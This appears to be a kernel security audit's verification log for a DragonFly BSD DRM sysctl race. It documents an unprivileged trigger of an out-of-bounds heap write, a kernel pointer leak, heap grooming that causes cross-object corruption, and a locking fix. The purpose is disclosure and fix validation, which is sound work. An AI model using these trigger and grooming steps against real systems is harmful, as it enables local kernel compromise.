⬢ DragonFlyBSD Kernel Audit
DF-5059 / run.log
← back to finding ↓ download raw
# DF-5059 -- decisive verification run (DragonFly 6.5-DEVELOPMENT guest,
# stock X86_64_GENERIC kernel + kldloaded drm.ko + clirace.ko harness).
# Every command below ran via dfbsd-qemu/vm.sh run_root / run_user (ssh).

$ uname -a
DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
$ sysctl hw.ncpu
hw.ncpu: 6

$ kldload /root/clirace/clirace.ko && kldstat | grep clirace
  6    1 0xffffffff831dd000     3000 clirace.ko
(dmesg) CLIRACE: loaded; sizeof(struct drm_file)=544 (drm_clients_info elem size)

===== S1: sync window, shadow proof (deterministic OOB write) =====
# root: sysctl hw.clirace.mode=1 n0=4 m=2 shadow=32 fixmode=0 groom=0
# root: sysctl hw.clirace.go=1
(dmesg) CLIRACE: resync_len: list=4 cur_len=4
(dmesg) CLIRACE: [!!] OOB WRITE copies=6 counted=4 (+2 elems x 544dB) past kmalloc'd array; elem[4] w0=0000000000000000 w1=0000000000000000 w2=6d61000200009c42 w3=fffff801179e7ed8 pid=40002 magic=0x6d610002 auth=0
   -> the copy walk (bounded by the LIST, not by privcount) wrote 2 x 544
      bytes past the kmalloc(4*544) array; content = live drm_file copies
      including a kernel-heap pointer (w3) and attacker-recognizable
      pid/magic fields.

===== S4: same interleaving with the FIX (filelist_mutex held) =====
# root: sysctl hw.clirace.fixmode=1; sysctl hw.clirace.go=1
(dmesg) CLIRACE: resync_len: list=4 cur_len=4
(dmesg) CLIRACE: fixmode: copies=4 == counted=4 (churn blocked=1) -- IN BOUNDS
   -> holding filelist_mutex across both walks serializes the mutator
      (churn blocked=1, exactly like drm_open/drm_close would be) and the
      walk stays in bounds.  (Behavioral proof of the fix locking pattern
      with the real lockmgr locks; compile proof: fix_build.log.)

===== S3a: unprivileged deterministic trigger (user maxx, uid=1001) =====
$ run_user: for i in 1 2 3; do sysctl -n hw.clirace.clients; done
clients pass: copies=6 counted=4  <-- OOB WRITE
clients pass: copies=6 counted=4  <-- OOB WRITE
clients pass: copies=6 counted=4  <-- OOB WRITE
   -> a completely unprivileged user reading the clients sysctl fires the
      overflow on EVERY read while another process opens/closes the device
      (modeled by the churn thread executing drm_file.c:514-516 verbatim).

===== S3b: organic race, unprivileged (user maxx, 100k reads) =====
# root: sysctl hw.clirace.mode=2 m=4 orgcap=24 shadow=24
$ run_user: time /tmp/race_clients 100000
race_clients: 100000/100000 passes as uid=1001
sizeof(struct drm_file)=544
mode=2 n0=4 m=4 shadow=24 fixmode=0 groom=0 orgcap=24
rounds_total=100008 rounds_oob=138 oob_max_elems=4
last_copies=4 last_counted=4
oob_word0=0000000000000001 0000000000000000 6d61000300009c43 ffffffff831ded20
churn: adds=12320014 dels=12320000 blocks=1 cur_len=4
guards: sprayed=0 damaged_check=0 corrupted=0
        3.07 real         0.07 user         3.00 sys
   -> with NO harness-forced interleaving, the plain read-vs-open/close race
      landed 138 times in 100000 unprivileged reads (~1/725); each hit wrote
      up to 4 x 544 = 2176 bytes past the allocation.  oob_word0 shows a
      kernel text/module pointer (ffffffff831ded20 = &fdev.filelist inside
      clirace.ko's mapping) leaking through the copied drm_file.
      (Across boots the organic hit count varied: 7, 64, 138 per 100k.)

===== S2: groomed guards -- real cross-object heap corruption =====
# root: sysctl hw.clirace.mode=1 n0=4 m=2 shadow=0 groom=1; sysctl go=1
(dmesg) CLIRACE: resync_len: list=4 cur_len=4
(dmesg) CLIRACE: guard hole punched at 8 (2176 bytes)
(dmesg) CLIRACE: [!!] OOB WRITE copies=6 counted=4 (+2 elems x 544dB) past kmalloc'd array; elem[4] w0=0000000000000000 w1=0000000000000000 w2=6d61000200009c42 w3=fffff801179e7ed8 pid=40002 magic=0x6d610002 auth=0
(dmesg) CLIRACE: [!!] GUARD DAMAGE (cross-object heap corruption):
(dmesg) CLIRACE:   guard[9] word 0: expected a5a5000900000000 got 0000000000000000
(dmesg) CLIRACE:   guard[9] word 1: 0000000000000000
(dmesg) CLIRACE:   guard[9] word 2: 0000000000000000
(dmesg) CLIRACE:   guard[9] word 3: 0000000000000000
(dmesg) CLIRACE:   guard[9] word 4: 0000000000000000
(dmesg) CLIRACE:   guard[9] word 5: 0000000000000000
(dmesg) CLIRACE:   guard[9] word 6: 0000000000000000
(dmesg) CLIRACE:   guard[9] word 7: 0000000000000000
(dmesg) CLIRACE: groom run complete: 1 damaged guard(s), copies=6 counted=4
$ sysctl -n hw.clirace.status (tail)
oob_word0=0000000000000000 0000000000000000 6d61000200009c42 fffff801179e7ed8
churn: adds=40000016 dels=40000000 blocks=1 cur_len=4
guards: sprayed=1 damaged_check=1 corrupted=1
   -> the EXACT privcount-sized allocation (2176 bytes, exactly what
      drm_sysctl.c:274 kmallocs) was placed into a punched hole between
      sprayed same-size-class M_DRM neighbors; the +2-element overrun
      clobbered the adjacent kernel heap object (guard[9]) with the copied
      drm_file contents (first words are the zeroed bitfield area; pid/
      magic/kernel pointers sit at +232/+236/+~248 of each spilled element).
      Guest survived because the victim was a harness guard; on a real
      system the victim is an arbitrary adjacent kernel object.